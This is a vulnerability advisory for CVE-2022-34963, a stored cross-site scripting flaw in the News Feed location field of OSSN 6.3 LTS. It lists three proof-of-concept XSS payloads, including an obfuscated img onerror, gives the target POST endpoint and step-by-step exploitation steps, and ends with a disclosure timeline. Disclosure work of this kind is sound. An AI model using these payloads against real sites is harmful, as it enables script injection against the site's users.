[CVE-2022–34963] OSSN 6.3 LTS — Stored XSS Vulnerability at News Feed

Vulnerability Explanation:

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the News Feed module.

Attack Vectors:

The attacker must post something on the “news feed” and insert the XSS payload at the location input in order to exploit the stored XSS. The XSS payload will be launched immediately after submission.

Affected Component:

  1. http://ip_address:port/ossn/home
  2. POST /ossn/action/wall/post/a?ossn_ts=1656419179&ossn_token=83b0ebdb6b2bbbcbaa0b804ce5cf3b5fba29a25474715bf2f7e4bbbd85316a86

Payload :

  1. <img/&#09;&#10;&#11; src=~ onerror=prompt('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>
  2. <BODY ONLOAD=alert('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>
  3. <img src=x onerror=confirm('Grim-The-Ripper-Team-by-SOSECURE-Thailand')>

Tested on:

  1. OSSN v6.3 LTS (https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3)
  2. Google Chrome Version 102.0.5005.115 (Official Build) (x86_64)

Steps to attack:

  1. Login with username and password. (If you don’t have an account, you can register)

2. Go to the “News Feed” or current page after logging in. Enter data in the data entry form. Click on the location button and enter the XSS payload. Then press the Post button.

3. The XSS payload will run immediately.


Grim The Ripper Team by SOSECURE Thailand

Disclosure Timeline:

  • 2022–06–28: Vulnerability discovered.
  • 2022–06–28: Vulnerability reported to the MITRE corporation.
  • 2022–07–08: CVE has been reserved.
  • 2022–07–08: Public disclosure of the vulnerability.


  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34963
  2. https://www.opensource-socialnetwork.org/
  3. https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/6.3
  4. https://www.openteknik.com/contact?channel=ossn



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